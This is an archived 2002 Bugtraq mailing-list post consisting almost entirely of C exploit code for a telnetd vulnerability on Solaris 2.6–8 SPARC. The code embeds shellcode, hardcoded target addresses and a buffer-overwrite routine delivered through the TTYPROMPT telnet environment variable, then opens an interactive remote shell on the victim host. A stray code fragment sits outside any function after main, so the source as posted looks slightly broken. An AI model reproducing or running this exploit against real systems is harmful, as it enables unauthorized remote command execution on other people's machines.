Solaris 2.6-8 SPARC Telnetd Vulnerability

From: Brendan C. Johnson (bugtraqat_private)
Date: Wed Aug 21 2002 - 03:02:07 PDT

  • Next message: Mark Litchfield: "More DBCC overruns SQL SEVER 2000"

    Affected Systems: Solaris 2.6, 2.7, 8 SPARC Platform
    
    Remote & Local Exploit
    
    
    
    #include <stdio.h>
    #include <string.h>
    #include <netdb.h>
    #include <unistd.h>
    #include <errno.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <arpa/telnet.h>
    
    #ifdef SOLARIS
    typedef unsigned long u_int32_t;
    #endif
    
    #define BUFLEN 1024
    
    char shellcode[]=
    "\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xdc\xda\xe0\x3b\xbf\xf0"
    "\x90\x23\xa0\x10\x94\x23\x80\x0e\xd0\x23\xbf\xe0\xd4\x23\xbf\xe4"
    "\x92\x23\xa0\x20\x82\x12\xa0\x3b\x91\xd0\x20\x08";
    
    struct {
        char *name;
        unsigned long in_addr;
        unsigned long out_addr;
    } targets[] = {
        { "Solaris 8/SPARC local proof of concept", 0xff1bd538, 0xff1b7028 },
        { "Solaris 2.7/SPARC local proof of concept", 0xff1bb23c, 0xff1b4a44 },
        { "Solaris 2.6/SPARC local proof of concept", 0xff6a91f0, 0xef6a323c },
        { "Solaris 2.5.1/SPARC local proof of concept", 0xff61bfe8, 0xef615144 },
        { "Solaris 2.7/SPARC remote darkside shit", 0xff1bb150, 0xff1b4c90 },
        { "Solaris 2.7/SPARC remote darkside shit II", 0xff1b4cc0, 0xff1b4c90 },
        { "Solaris 2.7/SPARC remote darkside shit III", 0xff1b5950, 0xff1b5920 },
        { "Solaris 8/SPARC remote darkside shit", 0xff1bd44c, 0xff1b7247 },
        { "Solaris 8/SPARC remote darkside shit II", 0xff1b9480, 0xff1b9450 },
        { NULL, 0 }
    };
    
    void usage(char *p)
    {
        int i;
    
        fprintf(stderr, "usage: %s [-t type] [-p port] [-o offset] <host>\n", p);
        fprintf(stderr, "-t: target type (see below)\n");
        fprintf(stderr, "-p: port to use (default: 23)\n");
        fprintf(stderr, "-o: offset to use (default: 0)\n\n");
        
        fprintf(stderr, "Target Types:\n");
        for(i = 0; targets[i].name; i++)
            fprintf(stderr, "%d) %s %.8x %.8x\n", i, targets[i].name, targets[i].in_addr, targets[i].out_addr);
       
        fprintf(stderr, "\n"); 
        exit(0);
    }
    
    void die(char *msg)
    {
        perror(msg);
        exit(errno);
    }
    
    u_int32_t get_ip(char *host)
    {
        struct hostent *hp;
        
        if(!(hp = gethostbyname(host))){
            fprintf(stderr, "cannot resolve %s\n", host);
            return(0);
        }
        return(*(u_int32_t *)hp->h_addr_list[0]);
    }
    
    int get_socket(char *target, int port)
    {
        int sock;
        u_int32_t ip;
        struct sockaddr_in sin;
    
        if(!(ip = get_ip(target)))
            return(0);
        
        bzero(&sin, sizeof(sin));
        sin.sin_family = AF_INET;
        sin.sin_port = htons(port);
        sin.sin_addr.s_addr = ip;
        
        if(!(sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
            die("socket");
        if(connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0)
            die("connect");
        return(sock);
    }
    
    void send_wont(int sock, int option)
    {
        char buf[3], *ptr=buf;
        
        *ptr++ = IAC;
        *ptr++ = WONT;
        *ptr++ = (unsigned char)option;
        if(write(sock, buf, 3) < 0)
            die("write");
        return;
    }
    
    void send_will(int sock, int option)
    {
        char buf[3], *ptr=buf;
    
        *ptr++ = IAC;
        *ptr++ = WILL;
        *ptr++ = (unsigned char)option;
        if(write(sock, buf, 3) < 0)
            die("write");
        return;
    }
    
    void send_do(int sock, int option)
    {
        char buf[3], *ptr=buf;
    
        *ptr++ = IAC;
        *ptr++ = DO;
        *ptr++ = (unsigned char)option;
        if(write(sock, buf, 3) < 0)
            die("write");
        return;
    }
    
    void send_env(int sock, char *name, char *value)
    {
        char buf[BUFLEN], *ptr = buf;
        
        *ptr++ = IAC;
        *ptr++ = SB;
        *ptr++ = TELOPT_NEW_ENVIRON;
        *ptr++ = TELQUAL_IS;
        *ptr++ = NEW_ENV_VAR;
        strncpy(ptr, name, BUFLEN-20);
        ptr += strlen(ptr);
        *ptr++ = NEW_ENV_VALUE;
        strncpy(ptr, value, (&buf[BUFLEN-1] - ptr)-1);
        ptr += strlen(ptr);
        *ptr++ = IAC;
        *ptr++ = SE;
        
        if(write(sock, buf, (ptr - buf)) < 0)
            die("write");
        return;
    }
    
    void do_negotiate(int sock)
    {
        send_wont(sock, TELOPT_TTYPE);
        send_wont(sock, TELOPT_NAWS);
        send_wont(sock, TELOPT_LFLOW);
        send_wont(sock, TELOPT_LINEMODE);
        send_wont(sock, TELOPT_XDISPLOC);
        send_will(sock, TELOPT_LFLOW);
        send_will(sock, TELOPT_LINEMODE);
        send_wont(sock, TELOPT_OLD_ENVIRON);
        send_will(sock, TELOPT_NEW_ENVIRON);
        send_will(sock, TELOPT_BINARY);
        send_env(sock, "TTYPROMPT", shellcode);
        return;
    }
    
    void write_attack_buf(int sock, int type)
    {
        char *attack_buf, *outbuf;
        int i, j;
    #ifdef SOLARIS
        char tmpbuf[64];
    #endif
    
        if(!(attack_buf = (char *)calloc(BUFLEN*3, 1)))
            die("malloc");
        if(!(outbuf = (char *)calloc(BUFLEN*6, 1))){
            free(attack_buf);
            die("malloc");
        }
        if(write(sock, attack_buf, strlen(attack_buf)) < 0)
            die("write");
    
        memset(attack_buf+100, '\t', 80);
    
        /* --- stdio FILE structure, top of _iob -- */
    
    #ifdef SOLARIS
    
        *(long *)&tmpbuf[0] = htonl((unsigned long)0x00000000);
        *(long *)&tmpbuf[4] = htonl((unsigned long)targets[type].in_addr);
        *(long *)&tmpbuf[8] = htonl((unsigned long)targets[type].in_addr);
        *(long *)&tmpbuf[12] = htonl((unsigned long)0x05000000);
    
        *(long *)&tmpbuf[16] = htonl((unsigned long)0x00000001);
        *(long *)&tmpbuf[20] = htonl((unsigned long)targets[type].out_addr);
        *(long *)&tmpbuf[24] = htonl((unsigned long)targets[type].out_addr);
        *(long *)&tmpbuf[28] = htonl((unsigned long)0x4201000a);
    
        memcpy(&attack_buf[2055], tmpbuf, 32);
    #else
     
        *(long *)&attack_buf[2055] = htonl((unsigned long)0x00000000);
        *(long *)&attack_buf[2059] = htonl((unsigned long)targets[type].in_addr);
        *(long *)&attack_buf[2063] = htonl((unsigned long)targets[type].in_addr);
        *(long *)&attack_buf[2067] = htonl((unsigned long)0x05000000);
    
        *(long *)&attack_buf[2071] = htonl((unsigned long)0x00000001);
        *(long *)&attack_buf[2075] = htonl((unsigned long)targets[type].out_addr);
        *(long *)&attack_buf[2079] = htonl((unsigned long)targets[type].out_addr);
        *(long *)&attack_buf[2083] = htonl((unsigned long)0x4201000a);
    
    #endif
        /* -- IAC stuffing, so telnetd doesn't decide to negotiate -- */
        for(i = 0, j = 0; i < 3000; i++){
            outbuf[j++] = attack_buf[i];
            if(attack_buf[i] == '\xff')
                outbuf[j++] = '\xff';
            if(attack_buf[i] == '\n')
                break;
        }
        
        if(write(sock, outbuf, j) < 0)
            die("write"); 
        
        /* -- 2 reads for reading the garbage which screws up term -- */
        if((j = read(sock, attack_buf, BUFLEN)) < 0)
            die("read");
        if((j = read(sock, attack_buf, BUFLEN)) < 0)
            die("read");
        
        free(attack_buf);
        free(outbuf);
        return;
    }
    
    int main(int argc, char **argv)
    {
        int c, n, sockfd, type = 0, offset=0, port = 23;
        char buf[2048], *shellstr="cd /; id; pwd; uname -a;\r\n";
        fd_set rset;
    
        while((c = getopt(argc, argv, "t:o:p:")) != EOF){
            switch(c){
                case 't':
                    type = atoi(optarg);
                    if(type < 0 || type > sizeof(targets)){
                        fprintf(stderr, "invalid target type\n");
                        usage(argv[0]);
                    }
                case 'o':
                    offset = atoi(optarg);
                    break;
                case 'p':
                    port = atoi(optarg);
                    break;
            }
        }
        
        if(!argv[optind] || !*argv[optind])
            usage(argv[0]);
        if(!(sockfd = get_socket(argv[optind], port)))
            exit(-1);
        do_negotiate(sockfd);
    
        n = read(sockfd, buf, sizeof(buf));
        write_attack_buf(sockfd, type);
        send_wont(sockfd, TELOPT_BINARY);
        sleep(1);
        read(sockfd, buf, sizeof(buf));
        write(sockfd, shellstr, strlen(shellstr));
    
        FD_ZERO(&rset);
        for(;;){
            FD_SET(0, &rset);
            FD_SET(sockfd, &rset);
            if(select(sockfd+1, &rset, NULL, NULL, NULL) < 0)
                die("select");
            
            if(FD_ISSET(sockfd, &rset)){
                bzero(buf, sizeof(buf));
                if((n = read(sockfd, buf, sizeof(buf))) < 0)
                    die("read");
                if(n == 0){
                    printf("EOF\n");
                    exit(0);
                }
                write(1, buf, n);
            }
            
            if(FD_ISSET(0, &rset)){
                bzero(buf, sizeof(buf));
                if((n = read(0, buf, sizeof(buf))) < 0)
                    die("read");
                if(n == 0)
                    exit(0);
                write(sockfd, buf, n);
            }
        }
    }
    
    n = read(sockfd, buf, sizeof(buf));
    if (strstr(buf, "login:") == NULL) {
    printf("FAILED :(\n");
    exit(-1);
    }
    



    This archive was generated by hypermail 2b30 : Wed Aug 21 2002 - 10:14:19 PDT